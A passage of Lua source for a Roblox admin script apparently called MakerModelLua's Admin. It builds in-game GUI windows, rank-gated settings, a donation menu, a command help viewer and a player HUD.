3967 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
3968 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
3969 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
3970 SG.Parent = Player.PlayerGui
3971
3972 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
3973 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
3974
3975 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
3976 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
3977 Delay(TweenTime, function()
3978 for i = 1,0,-0.1 do
3979 Body.TextTransparency = i
3980 wait()
3981 end
3982 Body.TextTransparency = 0
3983 end)
3984 Delay(TweenTime + Time, function()
3985 for i = 0,1,0.1 do
3986 Body.TextTransparency = i
3987 wait()
3988 end
3989 Body.TextTransparency = 1
3990 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true)
3991 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() wait(1) SG:Destroy() end)
3992 end)
3993
3994end)() end
3995
3996function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
3997 if not Player then return nil end
3998 if not Player:FindFirstChild("PlayerGui") then return nil end
3999 if not PreSearch then PreSearch = "" end
4000 if AutoNumber == nil then AutoNumber = true end
4001
4002 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4003 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4004 SearchBar.Parent = Frame.Parent
4005 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4006 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4007
4008 local SearchVer = 0,nil
4009 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4010
4011 local function ShowResults(Key)
4012 SearchVer = SearchVer + 1
4013 local ThisSearchVer = SearchVer
4014
4015 if ScrollScript then ScrollScript.Disabled = true ScrollScript:Destroy() end
4016 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4017
4018 local NumPos,Num = 0,1
4019
4020 for _,Data in pairs(List) do
4021 if ThisSearchVer ~= SearchVer then
4022 break
4023 end
4024 local String = STRING:Defilter(tostring(Data))
4025 if String then
4026 local ImageIcon = nil
4027 if type(Data) == "table" then
4028 String = Data[1]
4029 ImageIcon = Data[2]
4030 end
4031
4032 local TextColor = GUI:ContrastColor()
4033 local StringSplit = STRING:GetSplit(String, 1, " ")
4034 local NewColor = GUI:GetColor(StringSplit[1])
4035 if NewColor then TextColor = NewColor String = StringSplit[2] end
4036
4037 if string.find(string.lower(String), string.lower(Key)) then
4038 Spacer = false
4039 local Font = Settings.Font
4040 local Split = STRING:GetSplit(String, 1, " ")
4041 if string.sub(string.lower(String),1,6) == "bold: " then
4042 Font = "ArialBold"
4043 String = string.sub(String,7)
4044 elseif Fonts[Split[1]] then
4045 Font = Split[1]
4046 String = Split[2]
4047 end
4048 if string.sub(String,1,2) == "--" then
4049 Spacer = true
4050 end
4051 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4052 if ImageIcon then
4053 if tonumber(ImageIcon) then
4054 ImageIcon = "rbxassetid://"..ImageIcon
4055 elseif Icons[ImageIcon] then
4056 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4057 end
4058
4059 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4060 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4061 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4062 Content.Text = ""
4063 NumPos = NumPos + 90
4064 else
4065 NumPos = NumPos + 30
4066 end
4067
4068 if not Clickable then
4069 Content.AutoButtonColor = false
4070 Content.Active = false
4071 Content.BackgroundTransparency = 1
4072 elseif ClientInfo[Player.Name] and ClientInfo[Player.Name].TouchScreen ~= true then
4073 SOUND:BindButton(Content)
4074 CORE:HandleEvent(Content, "MouseButton1Down", function() Clicked:Fire(String) end, true)
4075 end
4076 if Spacer == false then Num = Num + 1 end
4077 end
4078 end
4079 end
4080 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4081 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4082 end
4083
4084 ShowResults(PreSearch)
4085
4086 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4087 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4088 if Prop == "Text" then
4089 local Text = CORE:ReadProperty(RPR, Player, "Text")
4090 ShowResults(Text)
4091 Frame.CanvasPosition = Vector2.new(0,0)
4092 end
4093 end)
4094
4095 return Clicked, Close
4096end
4097
4098function GUI:PropertyGui(Player, Title, Icon, Properties)
4099 if not Player then return nil end
4100 if not Player:FindFirstChild("PlayerGui") then return nil end
4101 if type(Properties) ~= "table" then return nil end
4102 local HasClosed = false
4103 local NewProperties = {}
4104
4105 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4106 Frame.ClipsDescendants = true
4107 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4108
4109 for PropertyName,Data in pairs(Properties) do
4110 NewProperties[PropertyName] = Data[1]
4111 end
4112
4113 local YCount = 0
4114
4115 for PropertyName,Data in pairs(Properties) do
4116 if type(Data) == "table" then
4117 local DefaultValue = Data[1]
4118 local Writable = Data[2]
4119 local ValueType = Data[3]
4120
4121 if Writable == nil then Writable = false end
4122 if type(ValueType) == "string" then -- now this is confusing
4123 ValueType = string.lower(ValueType)
4124 elseif ValueType == nil then
4125 ValueType = type(DefaultValue)
4126 end
4127
4128 if ValueType == "nil" or ValueType == "userdata" then
4129 ValueType = nil
4130 elseif ValueType == "table" then
4131 DefaultValue = STRING:UnpackArgs(DefaultValue)
4132 ValueType = "string"
4133 end
4134
4135 if ValueType then
4136 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4137 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4138 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4139
4140 if ValueType == "string" or ValueType == "number" then
4141 if Writable == true then
4142 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4143 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4144 if ValueType == "number" then
4145 NewProperties[PropertyName] = tonumber(Input.Text)
4146 else
4147 NewProperties[PropertyName] = tostring(Input.Text)
4148 end
4149 end end)
4150 else
4151 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4152 end
4153 end
4154 if ValueType == "boolean" then
4155 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4156 if DefaultValue == true then
4157 Check.Image = "rbxassetid://48138491"
4158 end
4159 if Writable == true then
4160 CORE:HandleEvent(Check, "MouseButton1Down", function()
4161 local NewVal = not NewProperties[PropertyName]
4162 NewProperties[PropertyName] = NewVal
4163 if NewVal == true then
4164 Check.Image = "rbxassetid://48138491"
4165 else
4166 Check.Image = "rbxassetid://48138474"
4167 end
4168 end)
4169 else
4170 Check.ImageTransparency = 0.5
4171 end
4172 end
4173 YCount = YCount + 50
4174 end
4175 end
4176 end
4177
4178 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4179
4180 Closed.Event:connect(function() HasClosed = true end)
4181
4182 repeat wait(0.1) until HasClosed
4183 return NewProperties
4184end
4185
4186function GUI:SettingsGui(Player)
4187 if not Player then return nil end
4188 local CloneViewSettings,CanChange = {},false
4189
4190 local ViewSettings = {
4191 ["Version"] = {CORE.Version.Value, false, nil};
4192 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4193 ["Font"] = {Settings.Font, 3, "Font"};
4194 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4195 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4196 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4197 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4198 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4199 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4200 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4201 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4202 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4203 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4204 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4205 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4206 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4207 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4208 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4209 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4210 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4211 ["Bet"] = {Settings.Bet, 3, "Bet"};
4212 }
4213
4214 local _,RankNum = RANK:GetRank(Player)
4215 if RankNum >= 3 then
4216 CanChange = true
4217 end
4218
4219 for Prop,Data in pairs(ViewSettings) do
4220 local Writable = false
4221 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4222 CloneViewSettings[Prop] = {Data[1], Writable}
4223 end
4224
4225 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4226 if CanChange then
4227 for Prop,Data in pairs(ViewSettings) do
4228 if Data[3] then
4229 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4230 end
4231 end
4232 CORE:FixSettings()
4233 end
4234end
4235
4236function GUI:MessageAdmins(TitleText, BodyText, Icon)
4237 for _,Player in pairs(Server.Players:GetPlayers()) do
4238 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4239 if PlayerAdmin then
4240 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4241 end
4242 end
4243end
4244
4245function GUI:TellAdmin(Player)
4246 if not Player then return end
4247
4248 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4249 if ValidAdmin == true then
4250 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4251 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4252 local SoundID = 237866523
4253 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4254 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4255 Sound:Play()
4256 coroutine.wrap(function()
4257 wait(4)
4258 Sound:Stop()
4259 Sound:Destroy()
4260 end)()
4261 end
4262 end
4263end
4264
4265function GUI:TellNotAdmin(Player)
4266 if not Player then return end
4267
4268 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4269end
4270
4271function GUI:CreateTaskBar(Player)
4272 if not Player then return nil end
4273 if Settings.EnableTaskBar == false then return nil end
4274 Player:WaitForChild("PlayerGui")
4275 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4276 if SG then SG:Destroy() end
4277 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4278 local IsMoving = false
4279 local TaskBarShown = false
4280 local Tasks = {}
4281
4282 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4283 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4284
4285 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4286 local Open,CloseForm = false,nil
4287 if Settings.EnableAdminMenu then
4288 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4289 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4290 if Open == false then
4291 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4292 Open,CloseForm = true,Close
4293
4294 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4295 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4296 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4297 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4298 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4299 local function DonateMoney(Type, Element)
4300 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4301 local Get = Request[Type]
4302 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4303 Server.MPS:PromptPurchase(Player, Get[1], true)
4304 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4305 Server.MPS:PromptPurchase(Player, Get[2], true)
4306 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4307 Server.MPS:PromptPurchase(Player, Get[3], true)
4308 else
4309 Element.Text = "Cannot get request"
4310 end
4311 end
4312 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4313 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4314 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4315 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4316 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4317 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4318
4319 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4320
4321 if Closed then
4322 Closed.Event:connect(function()
4323 Open = false
4324 end)
4325 end
4326 else
4327 CloseForm:Invoke()
4328 end
4329 end) end)()
4330 if RANK:GetRank(Player) == "Owner" then
4331 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4332 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4333 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4334 if HUDSG then
4335 HUDSG:Destroy()
4336 else
4337 GUI:CreateHUD(Player)
4338 end
4339 end)
4340 end
4341 end
4342
4343 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4344 if IsMoving == false then
4345 if TaskBarShown == true then
4346 TaskBarShown = false
4347 IsMoving = true
4348 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4349 else
4350 TaskBarShown = true
4351 IsMoving = true
4352 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4353 end
4354 end
4355 end)
4356
4357 local function ReloadIcons()
4358 for Num,Data in pairs(Tasks) do
4359 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4360 end
4361 end
4362
4363 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4364 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4365 table.insert(Tasks, {Form, Icon})
4366 local CanClick = true
4367 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4368 if Form.IsActive.Value == false then
4369 Restore:Invoke()
4370 elseif CanClick == true then
4371 coroutine.wrap(function()
4372 CanClick = false
4373 local DefPos = Form.Dragger.Position
4374 for i = 1,15 do
4375 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4376 wait(0.05)
4377 end
4378 Form.Dragger.Position = DefPos
4379 CanClick = true
4380 end)()
4381 end
4382 end)
4383 ReloadIcons()
4384
4385 Closed.Event:connect(function()
4386 for Num,Data in pairs(Tasks) do
4387 if Data[1] == Form then
4388 Icon:Destroy()
4389 table.remove(Tasks, Num)
4390 end
4391 end
4392 ReloadIcons()
4393 end)
4394 end)
4395end
4396
4397function GUI:ShowDebtStats(Player, ManualText)
4398 local Text = ManualText
4399 if not ManualText then
4400 Text = "CANNOT GET STATISTICS"
4401 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4402 if RawPage then
4403 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4404 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4405 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4406 end
4407 end
4408
4409 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4410 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4411
4412 return Text
4413end
4414
4415function GUI:ShowCommand(Player, CommandTrigger)
4416 if not Player then return nil end
4417 if not CommandTrigger then return nil end
4418
4419 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4420
4421 local CommandKey = CommandTrigger
4422
4423 if not Commands[CommandKey] then
4424 for CommandNames,_ in pairs(Commands) do
4425 for _,CommandName in pairs(CommandNames) do
4426 if CommandName == CommandKey then
4427 CommandKey = CommandNames
4428 end
4429 end
4430 end
4431 end
4432
4433 local CommandData = Commands[CommandKey]
4434
4435 local BodyText = "No valid command has been entered"
4436 local TitleText = "Error"
4437 local CanExe = false
4438 if CommandData then
4439 local PlayerRank = RANK:GetRank(Player)
4440 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4441 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4442
4443 TitleText = "Command: "..CommandKey[1]
4444 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4445
4446
4447Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4448
4449
4450Description: ]]..CommandData[2]..[[
4451
4452
4453Arguments: ]]..CommandData[3]..[[
4454
4455
4456Minimum rank needed: ]]..CommandData[4]..[[
4457
4458
4459Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4460
4461
4462Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4463
4464
4465Http Command ]]..STRING:BoolString(CommandData.Http)
4466 end
4467
4468 GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4469end
4470
4471function GUI:CreateHUD(Speaker)
4472 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4473
4474 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4475 if SG then SG:Destroy() end
4476 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4477
4478 local function AddHUD(Player, Char)
4479 if not Char or not Char:FindFirstChild("Head") then return nil end
4480
4481 local Rank = RANK:GetRank(Player)
4482 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4483 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4484 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4485 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
